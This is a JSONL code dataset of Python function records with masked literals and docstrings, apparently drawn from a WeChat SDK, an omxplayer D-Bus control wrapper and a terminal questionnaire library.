{"signature": "def get_sha1_signature(token, timestamp, nonce, encrypt):", "body": "try:<EOL><INDENT>sortlist = [token, timestamp, nonce, to_binary(encrypt)]<EOL>sortlist.sort()<EOL>sha = hashlib.sha1()<EOL>sha.update(to_binary(\"<STR_LIT>\").join(sortlist))<EOL>return sha.hexdigest()<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise CryptoComputeSignatureError(e)<EOL><DEDENT>", "docstring": "\u7528 SHA1 \u7b97\u6cd5\u751f\u6210\u5b89\u5168\u7b7e\u540d\n@param token: \u7968\u636e\n@param timestamp: \u65f6\u95f4\u6233\n@param encrypt: \u5bc6\u6587\n@param nonce: \u968f\u673a\u5b57\u7b26\u4e32\n@return: \u5b89\u5168\u7b7e\u540d", "id": "f596:m0"}
{"signature": "def __init__(self, message, content):", "body": "super(TextReply, self).__init__(message=message, content=content)<EOL>", "docstring": ":param message: WechatMessage \u5bf9\u8c61\n:param content: \u6587\u5b57\u56de\u590d\u5185\u5bb9", "id": "f598:c1:m0"}
{"signature": "def __init__(self, message, media_id):", "body": "super(ImageReply, self).__init__(message=message, media_id=media_id)<EOL>", "docstring": ":param message: WechatMessage \u5bf9\u8c61\n:param media_id: \u56fe\u7247\u7684 MediaID", "id": "f598:c2:m0"}
{"signature": "def __init__(self, message, media_id):", "body": "super(VoiceReply, self).__init__(message=message, media_id=media_id)<EOL>", "docstring": ":param message: WechatMessage \u5bf9\u8c61\n:param media_id: \u8bed\u97f3\u7684 MediaID", "id": "f598:c3:m0"}
{"signature": "def __init__(self, message, media_id, title=None, description=None):", "body": "title = title or '<STR_LIT>'<EOL>description = description or '<STR_LIT>'<EOL>super(VideoReply, self).__init__(message=message, media_id=media_id, title=title, description=description)<EOL>", "docstring": ":param message: WechatMessage\u5bf9\u8c61\n:param media_id: \u89c6\u9891\u7684 MediaID\n:param title: \u89c6\u9891\u6d88\u606f\u7684\u6807\u9898\n:param description: \u89c6\u9891\u6d88\u606f\u7684\u63cf\u8ff0", "id": "f598:c4:m0"}
{"signature": "def __init__(self, message):", "body": "super(GroupTransferReply, self).__init__(message=message)<EOL>", "docstring": ":param message: WechatMessage \u5bf9\u8c61", "id": "f598:c8:m0"}
{"signature": "def to_text(value, encoding='<STR_LIT:utf-8>'):", "body": "if not value:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if isinstance(value, six.text_type):<EOL><INDENT>return value<EOL><DEDENT>if isinstance(value, six.binary_type):<EOL><INDENT>return value.decode(encoding)<EOL><DEDENT>return six.text_type(value)<EOL>", "docstring": "\u5c06 value \u8f6c\u4e3a unicode\uff0c\u9ed8\u8ba4\u7f16\u7801 utf-8\n\n    :param value: \u5f85\u8f6c\u6362\u7684\u503c\n    :param encoding: \u7f16\u7801", "id": "f599:m0"}
{"signature": "def to_binary(value, encoding='<STR_LIT:utf-8>'):", "body": "if not value:<EOL><INDENT>return b'<STR_LIT>'<EOL><DEDENT>if isinstance(value, six.binary_type):<EOL><INDENT>return value<EOL><DEDENT>if isinstance(value, six.text_type):<EOL><INDENT>return value.encode(encoding)<EOL><DEDENT>if six.PY3:<EOL><INDENT>return six.binary_type(str(value), encoding)  <EOL><DEDENT>return six.binary_type(value)<EOL>", "docstring": "\u5c06 values \u8f6c\u4e3a bytes\uff0c\u9ed8\u8ba4\u7f16\u7801 utf-8\n\n    :param value: \u5f85\u8f6c\u6362\u7684\u503c\n    :param encoding: \u7f16\u7801", "id": "f599:m1"}
{"signature": "def disable_urllib3_warning():", "body": "try:<EOL><INDENT>import requests.packages.urllib3<EOL>requests.packages.urllib3.disable_warnings()<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "https://urllib3.readthedocs.org/en/latest/security.html#insecurerequestwarning\nInsecurePlatformWarning \u8b66\u544a\u7684\u4e34\u65f6\u89e3\u51b3\u65b9\u6848", "id": "f599:m2"}
{"signature": "def generate_timestamp():", "body": "return int(time.time())<EOL>", "docstring": "\u751f\u6210 timestamp\n    :return: timestamp string", "id": "f599:m3"}
{"signature": "def generate_nonce():", "body": "return random.randrange(<NUM_LIT>, <NUM_LIT>)<EOL>", "docstring": "\u751f\u6210 nonce\n    :return: nonce string", "id": "f599:m4"}
{"signature": "def convert_ext_to_mime(extension):", "body": "table = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>if extension in table:<EOL><INDENT>return table[extension]<EOL><DEDENT>raise ValueError(\"<STR_LIT>\")<EOL>", "docstring": "\u5c06\u6269\u5c55\u540d\u8f6c\u6362\u4e3a MIME \u683c\u5f0f\n    :return: mime string", "id": "f599:m5"}
{"signature": "def is_allowed_extension(extension, type='<STR_LIT>'):", "body": "table = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>if extension in table:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "\u68c0\u67e5\u6269\u5c55\u540d\u662f\u5426\u662f\u53ef\u4ee5\u4e0a\u4f20\u5230\u670d\u52a1\u5668\n    :return: True if ok", "id": "f599:m6"}
{"signature": "def exists(self, openid):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "\u5f53 openid \u5b58\u5728\u65f6\u8fd4\u56de True", "id": "f604:c1:m26"}
{"signature": "def create(self, openid):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "\u6839\u636e openid \u65b0\u5efa\u4e00\u4e2a\u4e0a\u4e0b\u6587\u5bf9\u8bdd\u5b58\u50a8", "id": "f604:c1:m27"}
{"signature": "def __init__(self, errcode, errmsg):", "body": "self.errcode = errcode<EOL>self.errmsg = errmsg<EOL>", "docstring": ":param errcode: \u9519\u8bef\u4ee3\u7801\n:param errmsg: \u9519\u8bef\u4fe1\u606f", "id": "f609:c1:m0"}
{"signature": "def __init__(self, message='<STR_LIT>'):", "body": "self.message = message<EOL>", "docstring": ":param message: \u9519\u8bef\u5185\u5bb9\u63cf\u8ff0\uff0c\u53ef\u9009", "id": "f609:c2:m0"}
{"signature": "def load(self, source, pause=False):", "body": "self._source = source<EOL>self._load_source(source)<EOL>if pause:<EOL><INDENT>time.sleep(<NUM_LIT:0.5>)  <EOL>self.pause()<EOL><DEDENT>", "docstring": "Loads a new source (as a file) from ``source`` (a file path or URL)\nby killing the current ``omxplayer`` process and forking a new one.\n\nArgs:\n    source (string): Path to the file to play or URL", "id": "f624:c2:m5"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def can_quit(self):<DEDENT>", "body": "return self._root_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player can quit or not", "id": "f624:c2:m6"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def fullscreen(self):<DEDENT>", "body": "return self._root_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player is fullscreen or not", "id": "f624:c2:m7"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def can_set_fullscreen(self):<DEDENT>", "body": "return self._root_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player can go fullscreen", "id": "f624:c2:m8"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def can_raise(self):<DEDENT>", "body": "return self._root_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player can raise the display window atop of all other windows", "id": "f624:c2:m9"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def has_track_list(self):<DEDENT>", "body": "return self._root_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player has a track list or not", "id": "f624:c2:m10"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def identity(self):<DEDENT>", "body": "return self._root_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    str: Returns `omxplayer`, the name of the player", "id": "f624:c2:m11"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def supported_uri_schemes(self):<DEDENT>", "body": "return self._root_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    str: list of supported URI schemes\nExamples:\n    >>> player.supported_uri_schemes()\n    [\"file\", \"http\", \"rtsp\", \"rtmp\"]", "id": "f624:c2:m12"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def can_go_next(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player can move to the next item in the playlist", "id": "f624:c2:m13"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def can_go_previous(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player can move to the previous item in the\n          playlist", "id": "f624:c2:m14"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def can_seek(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player can seek", "id": "f624:c2:m15"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def can_control(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player can be controlled", "id": "f624:c2:m16"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def can_play(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player can play", "id": "f624:c2:m17"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def can_pause(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    bool: whether the player can pause", "id": "f624:c2:m18"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def playback_status(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    str: one of (\"Playing\" | \"Paused\" | \"Stopped\")", "id": "f624:c2:m19"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def volume(self):<DEDENT>", "body": "if self._is_muted:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    float: current player volume", "id": "f624:c2:m20"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def set_volume(self, volume):<DEDENT>", "body": "<EOL>if volume == <NUM_LIT:0>:<EOL><INDENT>volume = <NUM_LIT><EOL><DEDENT>return self._player_interface_property('<STR_LIT>', dbus.Double(volume))<EOL>", "docstring": "Args:\n    float: volume in the interval [0, 10]", "id": "f624:c2:m21"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def _position_us(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    int: position in microseconds", "id": "f624:c2:m22"}
{"signature": "def position(self):", "body": "return self._position_us() / (<NUM_LIT> * <NUM_LIT>)<EOL>", "docstring": "Returns:\n    int: position in seconds", "id": "f624:c2:m23"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def minimum_rate(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    float: minimum playback rate (as proportion of normal rate)", "id": "f624:c2:m24"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def maximum_rate(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    float: maximum playback rate (as proportion of normal rate)", "id": "f624:c2:m25"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def rate(self):<DEDENT>", "body": "return self._rate<EOL>", "docstring": "Returns:\n    float: playback rate, 1 is the normal rate, 2 would be double speed.", "id": "f624:c2:m26"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def set_rate(self, rate):<DEDENT>", "body": "self._rate = self._player_interface_property('<STR_LIT>', dbus.Double(rate))<EOL>return self._rate<EOL>", "docstring": "Set the playback rate of the video as a multiple of the default playback speed\n\nExamples:\n    >>> player.set_rate(2)\n    # Will play twice as fast as normal speed\n    >>> player.set_rate(0.5)\n    # Will play half speed", "id": "f624:c2:m27"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def metadata(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    dict: containing track information ('URI', 'length')\nExamples:\n    >>> player.metadata()\n    {\n        'mpris:length': 19691000,\n        'xesam:url': 'file:///home/name/path/to/media/file.mp4'\n    }", "id": "f624:c2:m28"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def aspect_ratio(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    float: aspect ratio", "id": "f624:c2:m29"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def video_stream_count(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    int: number of video streams", "id": "f624:c2:m30"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def width(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    int: video width in px", "id": "f624:c2:m31"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def height(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    int: video height in px", "id": "f624:c2:m32"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def _duration_us(self):<DEDENT>", "body": "return self._player_interface_property('<STR_LIT>')<EOL>", "docstring": "Returns:\n    int: total length in microseconds", "id": "f624:c2:m33"}
{"signature": "@_check_player_is_active<EOL><INDENT>def duration(self):<DEDENT>", "body": "return self._duration_us() / (<NUM_LIT> * <NUM_LIT>)<EOL>", "docstring": "Returns:\n    float: duration in seconds", "id": "f624:c2:m34"}
{"signature": "@_check_player_is_active<EOL><INDENT>def pause(self):<DEDENT>", "body": "self._player_interface.Pause()<EOL>self._is_playing = False<EOL>self.pauseEvent(self)<EOL>", "docstring": "Pause playback", "id": "f624:c2:m35"}
{"signature": "@_check_player_is_active<EOL><INDENT>def play_pause(self):<DEDENT>", "body": "self._player_interface.PlayPause()<EOL>self._is_playing = not self._is_playing<EOL>if self._is_playing:<EOL><INDENT>self.playEvent(self)<EOL><DEDENT>else:<EOL><INDENT>self.pauseEvent(self)<EOL><DEDENT>", "docstring": "Pause playback if currently playing, otherwise start playing if currently paused.", "id": "f624:c2:m36"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def stop(self):<DEDENT>", "body": "self._player_interface.Stop()<EOL>self.stopEvent(self)<EOL>", "docstring": "Stop the player, causing it to quit", "id": "f624:c2:m37"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def seek(self, relative_position):<DEDENT>", "body": "self._player_interface.Seek(Int64(<NUM_LIT> * <NUM_LIT:1000> * relative_position))<EOL>self.seekEvent(self, relative_position)<EOL>", "docstring": "Seek the video by `relative_position` seconds\n\nArgs:\n    relative_position (float): The position in seconds to seek to.", "id": "f624:c2:m38"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def set_position(self, position):<DEDENT>", "body": "self._player_interface.SetPosition(ObjectPath(\"<STR_LIT>\"), Int64(position * <NUM_LIT> * <NUM_LIT:1000>))<EOL>self.positionEvent(self, position)<EOL>", "docstring": "Set the video to playback position to `position` seconds from the start of the video\n\nArgs:\n    position (float): The position in seconds.", "id": "f624:c2:m39"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def set_alpha(self, alpha):<DEDENT>", "body": "self._player_interface.SetAlpha(ObjectPath('<STR_LIT>'), Int64(alpha))<EOL>", "docstring": "Set the transparency of the video overlay\n\nArgs:\n    alpha (float): The transparency (0..255)", "id": "f624:c2:m40"}
{"signature": "@_check_player_is_active<EOL><INDENT>def mute(self):<DEDENT>", "body": "self._is_muted = True<EOL>self._player_interface.Mute()<EOL>", "docstring": "Mute audio. If already muted, then this does not do anything", "id": "f624:c2:m41"}
{"signature": "@_check_player_is_active<EOL><INDENT>def unmute(self):<DEDENT>", "body": "self._is_muted = False<EOL>self._player_interface.Unmute()<EOL>", "docstring": "Unmutes the video. If already unmuted, then this does not do anything", "id": "f624:c2:m42"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def set_aspect_mode(self, mode):<DEDENT>", "body": "self._player_interface.SetAspectMode(ObjectPath('<STR_LIT>'), String(mode))<EOL>", "docstring": "Set the aspect mode of the video\n\nArgs:\n    mode (str): One of (\"letterbox\" | \"fill\" | \"stretch\")", "id": "f624:c2:m43"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def set_video_pos(self, x1, y1, x2, y2):<DEDENT>", "body": "position = \"<STR_LIT>\" % (str(x1),str(y1),str(x2),str(y2))<EOL>self._player_interface.VideoPos(ObjectPath('<STR_LIT>'), String(position))<EOL>", "docstring": "Set the video position on the screen\n\nArgs:\n    x1 (int): Top left x coordinate (px)\n    y1 (int): Top left y coordinate (px)\n    x2 (int): Bottom right x coordinate (px)\n    y2 (int): Bottom right y coordinate (px)", "id": "f624:c2:m44"}
{"signature": "@_check_player_is_active<EOL><INDENT>def video_pos(self):<DEDENT>", "body": "position_string = self._player_interface.VideoPos(ObjectPath('<STR_LIT>'))<EOL>return list(map(int, position_string.split(\"<STR_LIT:U+0020>\")))<EOL>", "docstring": "Returns:\n    (int, int, int, int): Video spatial position (x1, y1, x2, y2) where (x1, y1) is top left,\n                          and (x2, y2) is bottom right. All values in px.", "id": "f624:c2:m45"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def set_video_crop(self, x1, y1, x2, y2):<DEDENT>", "body": "crop = \"<STR_LIT>\" % (str(x1),str(y1),str(x2),str(y2))<EOL>self._player_interface.SetVideoCropPos(ObjectPath('<STR_LIT>'), String(crop))<EOL>", "docstring": "Args:\n    x1 (int): Top left x coordinate (px)\n    y1 (int): Top left y coordinate (px)\n    x2 (int): Bottom right x coordinate (px)\n    y2 (int): Bottom right y coordinate (px)", "id": "f624:c2:m46"}
{"signature": "@_check_player_is_active<EOL><INDENT>def hide_video(self):<DEDENT>", "body": "self._player_interface.HideVideo()<EOL>", "docstring": "Hides the video overlays", "id": "f624:c2:m47"}
{"signature": "@_check_player_is_active<EOL><INDENT>def show_video(self):<DEDENT>", "body": "self._player_interface.UnHideVideo()<EOL>", "docstring": "Shows the video (to undo a `hide_video`)", "id": "f624:c2:m48"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def list_audio(self):<DEDENT>", "body": "return self._player_interface.ListAudio()<EOL>", "docstring": "Returns:\n    [str]: A list of all known audio streams, each item is in the\n           format: ``<index>:<language>:<name>:<codec>:<active>``", "id": "f624:c2:m49"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def list_video(self):<DEDENT>", "body": "return self._player_interface.ListVideo()<EOL>", "docstring": "Returns:\n    [str]: A list of all known video streams, each item is in the\n           format: ``<index>:<language>:<name>:<codec>:<active>``", "id": "f624:c2:m50"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def list_subtitles(self):<DEDENT>", "body": "return self._player_interface.ListSubtitles()<EOL>", "docstring": "Returns:\n    [str]: A list of all known subtitles, each item is in the\n           format: ``<index>:<language>:<name>:<codec>:<active>``", "id": "f624:c2:m51"}
{"signature": "@_check_player_is_active<EOL><INDENT>def select_subtitle(self, index):<DEDENT>", "body": "return self._player_interface.SelectSubtitle(dbus.Int32(index))<EOL>", "docstring": "Enable a subtitle specified by the index it is listed in :class:`list_subtitles`\n\nArgs:\n    index (int): index of subtitle listing returned by :class:`list_subtitles`", "id": "f624:c2:m52"}
{"signature": "@_check_player_is_active<EOL><INDENT>def select_audio(self, index):<DEDENT>", "body": "return self._player_interface.SelectAudio(dbus.Int32(index))<EOL>", "docstring": "Select audio stream specified by the index of the stream in :class:`list_audio`\n\nArgs:\n    index (int): index of audio stream returned by :class:`list_audio`", "id": "f624:c2:m53"}
{"signature": "@_check_player_is_active<EOL><INDENT>def show_subtitles(self):<DEDENT>", "body": "return self._player_interface.ShowSubtitles()<EOL>", "docstring": "Shows subtitles after :class:`hide_subtitles`", "id": "f624:c2:m54"}
{"signature": "@_check_player_is_active<EOL><INDENT>def hide_subtitles(self):<DEDENT>", "body": "return self._player_interface.HideSubtitles()<EOL>", "docstring": "Hide subtitles", "id": "f624:c2:m55"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def action(self, code):<DEDENT>", "body": "self._player_interface.Action(code)<EOL>", "docstring": "Executes a keyboard command via a code\n\nArgs:\n    code (int): The key code you wish to emulate\n                refer to ``keys.py`` for the possible keys", "id": "f624:c2:m56"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def is_playing(self):<DEDENT>", "body": "self._is_playing = (self.playback_status() == \"<STR_LIT>\")<EOL>logger.info(\"<STR_LIT>\" % self._is_playing)<EOL>return self._is_playing<EOL>", "docstring": "Returns:\n    bool: Whether the player is playing", "id": "f624:c2:m57"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def play_sync(self):<DEDENT>", "body": "self.play()<EOL>logger.info(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>time.sleep(<NUM_LIT>)<EOL>logger.debug(\"<STR_LIT>\")<EOL>while self.is_playing():<EOL><INDENT>time.sleep(<NUM_LIT>)<EOL><DEDENT><DEDENT>except DBusException:<EOL><INDENT>logger.error(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>", "docstring": "Play the video and block whilst the video is playing", "id": "f624:c2:m58"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def play(self):<DEDENT>", "body": "if not self.is_playing():<EOL><INDENT>self.play_pause()<EOL>self._is_playing = True<EOL>self.playEvent(self)<EOL><DEDENT>", "docstring": "Play the video asynchronously returning control immediately to the calling code", "id": "f624:c2:m59"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def next(self):<DEDENT>", "body": "return self._player_interface.Next()<EOL>", "docstring": "Skip to the next chapter\n\nReturns:\n    bool: Whether the player skipped to the next chapter", "id": "f624:c2:m60"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def previous(self):<DEDENT>", "body": "return self._player_interface.Previous()<EOL>", "docstring": "Skip to the previous chapter\n\nReturns:\n    bool: Whether the player skipped to the previous chapter", "id": "f624:c2:m61"}
{"signature": "def quit(self):", "body": "if self._process is None:<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>return<EOL><DEDENT>try:<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>process_group_id = os.getpgid(self._process.pid)<EOL>os.killpg(process_group_id, signal.SIGTERM)<EOL>logger.debug('<STR_LIT>' % process_group_id)<EOL>self._process_monitor.join()<EOL><DEDENT>except OSError:<EOL><INDENT>logger.error('<STR_LIT>')<EOL><DEDENT>self._process = None<EOL>", "docstring": "Quit the player, blocking until the process has died", "id": "f624:c2:m68"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def get_source(self):<DEDENT>", "body": "return self._source<EOL>", "docstring": "Get the source URI of the currently playing media\n\nReturns:\n    str: source currently playing", "id": "f624:c2:m69"}
{"signature": "@_check_player_is_active<EOL><INDENT>@_from_dbus_type<EOL>def get_filename(self):<DEDENT>", "body": "return self.get_source()<EOL>", "docstring": "Returns:\n    str: source currently playing\n\n.. deprecated:: 0.2.0\n   Use: :func:`get_source` instead.", "id": "f624:c2:m70"}
{"signature": "def find_address_file(self):", "body": "possible_address_files = []<EOL>while not possible_address_files:<EOL><INDENT>isnt_pid_file = lambda path: not path.endswith('<STR_LIT>')<EOL>possible_address_files = list(filter(isnt_pid_file,<EOL>glob('<STR_LIT>')))<EOL>possible_address_files.sort(key=lambda path: os.path.getmtime(path))<EOL>time.sleep(<NUM_LIT>)<EOL><DEDENT>self.path = possible_address_files[-<NUM_LIT:1>]<EOL>", "docstring": "Finds the OMXPlayer DBus connection\nAssumes there is an alive OMXPlayer process.\n:return:", "id": "f628:c0:m2"}
{"signature": "def exit_on_keyboard_interrupt(f):", "body": "@wraps(f)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>raise_exception = kwargs.pop('<STR_LIT>', False)<EOL>try:<EOL><INDENT>return f(*args, **kwargs)<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>if not raise_exception:<EOL><INDENT>sys.exit()<EOL><DEDENT>raise KeyboardInterrupt<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator that allows user to exit script by sending a keyboard interrupt\n    (ctrl + c) without raising an exception.", "id": "f635:m0"}
{"signature": "def get_operator(self, op):", "body": "if op in self.OPERATORS:<EOL><INDENT>return self.OPERATORS.get(op)<EOL><DEDENT>try:<EOL><INDENT>n_args = len(inspect.getargspec(op)[<NUM_LIT:0>])<EOL>if n_args != <NUM_LIT:2>:<EOL><INDENT>raise TypeError<EOL><DEDENT><DEDENT>except:<EOL><INDENT>eprint('<STR_LIT>')<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>return op<EOL><DEDENT>", "docstring": "Assigns function to the operators property of the instance.", "id": "f635:c0:m1"}
{"signature": "def assign_prompter(self, prompter):", "body": "if is_string(prompter):<EOL><INDENT>if prompter not in prompters:<EOL><INDENT>eprint(\"<STR_LIT>\".format(prompter))<EOL>sys.exit()<EOL><DEDENT>self.prompter = prompters[prompter]<EOL><DEDENT>else:<EOL><INDENT>self.prompter = prompter<EOL><DEDENT>", "docstring": "If you want to change the core prompters registry, you can\n        override this method in a Question subclass.", "id": "f635:c1:m1"}
{"signature": "def add(self, *args, **kwargs):", "body": "if '<STR_LIT>' in kwargs and isinstance(kwargs['<STR_LIT>'], Question):<EOL><INDENT>question = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>question = Question(*args, **kwargs)<EOL><DEDENT>self.questions.setdefault(question.key, []).append(question)<EOL>return question<EOL>", "docstring": "Add a Question instance to the questions dict. Each key points\n        to a list of Question instances with that key. Use the `question`\n        kwarg to pass a Question instance if you want, or pass in the same\n        args you would pass to instantiate a question.", "id": "f635:c2:m1"}
{"signature": "def remove(self, key):", "body": "return self.questions.pop(key)<EOL>", "docstring": "Remove all questions associated with `key`. Raises exception if `key`\n        doesn't exist.", "id": "f635:c2:m5"}
{"signature": "def run(self):", "body": "while not self.done:<EOL><INDENT>self.ask()<EOL><DEDENT>return self.answers<EOL>", "docstring": "Asks all remaining questions in the questionnaire, returns the answers.", "id": "f635:c2:m6"}
{"signature": "@exit_on_keyboard_interrupt<EOL><INDENT>def ask(self, error=None):<DEDENT>", "body": "q = self.next_question<EOL>if q is None:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>answer = q.prompter(self.get_prompt(q, error), *q.prompter_args, **q.prompter_kwargs)<EOL><DEDENT>except QuestionnaireGoBack as e:<EOL><INDENT>steps = e.args[<NUM_LIT:0>] if e.args else <NUM_LIT:1><EOL>if steps == <NUM_LIT:0>:<EOL><INDENT>self.ask()  <EOL>return<EOL><DEDENT>self.go_back(steps)<EOL><DEDENT>else:<EOL><INDENT>if q._validate:<EOL><INDENT>error = q._validate(answer)<EOL>if error:<EOL><INDENT>self.ask(error)<EOL>return<EOL><DEDENT><DEDENT>if q._transform:<EOL><INDENT>answer = q._transform(answer)<EOL><DEDENT>self.answers[q.key] = answer<EOL>return answer<EOL><DEDENT>", "docstring": "Asks the next question in the questionnaire and returns the answer,\n        unless user goes back.", "id": "f635:c2:m7"}
{"signature": "@property<EOL><INDENT>def next_question(self):<DEDENT>", "body": "for key, questions in self.questions.items():<EOL><INDENT>if key in self.answers:<EOL><INDENT>continue<EOL><DEDENT>for question in questions:<EOL><INDENT>if self.check_condition(question._condition):<EOL><INDENT>return question<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Returns the next `Question` in the questionnaire, or `None` if there\n        are no questions left. Returns first question for whose key there is no\n        answer and for which condition is satisfied, or for which there is no\n        condition.", "id": "f635:c2:m9"}
{"signature": "def check_condition(self, condition):", "body": "if not condition:<EOL><INDENT>return True<EOL><DEDENT>for c in condition.conditions:<EOL><INDENT>key, value, operator = c<EOL>if not operator(self.answers[key], value):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Helper that returns True if condition is satisfied/doesn't exist.", "id": "f635:c2:m10"}
{"signature": "def go_back(self, n=<NUM_LIT:1>):", "body": "if not self.can_go_back:<EOL><INDENT>return<EOL><DEDENT>N = max(len(self.answers)-abs(n), <NUM_LIT:0>)<EOL>self.answers = OrderedDict(islice(self.answers.items(), N))<EOL>", "docstring": "Move `n` questions back in the questionnaire by removing the last `n`\n        answers.", "id": "f635:c2:m11"}
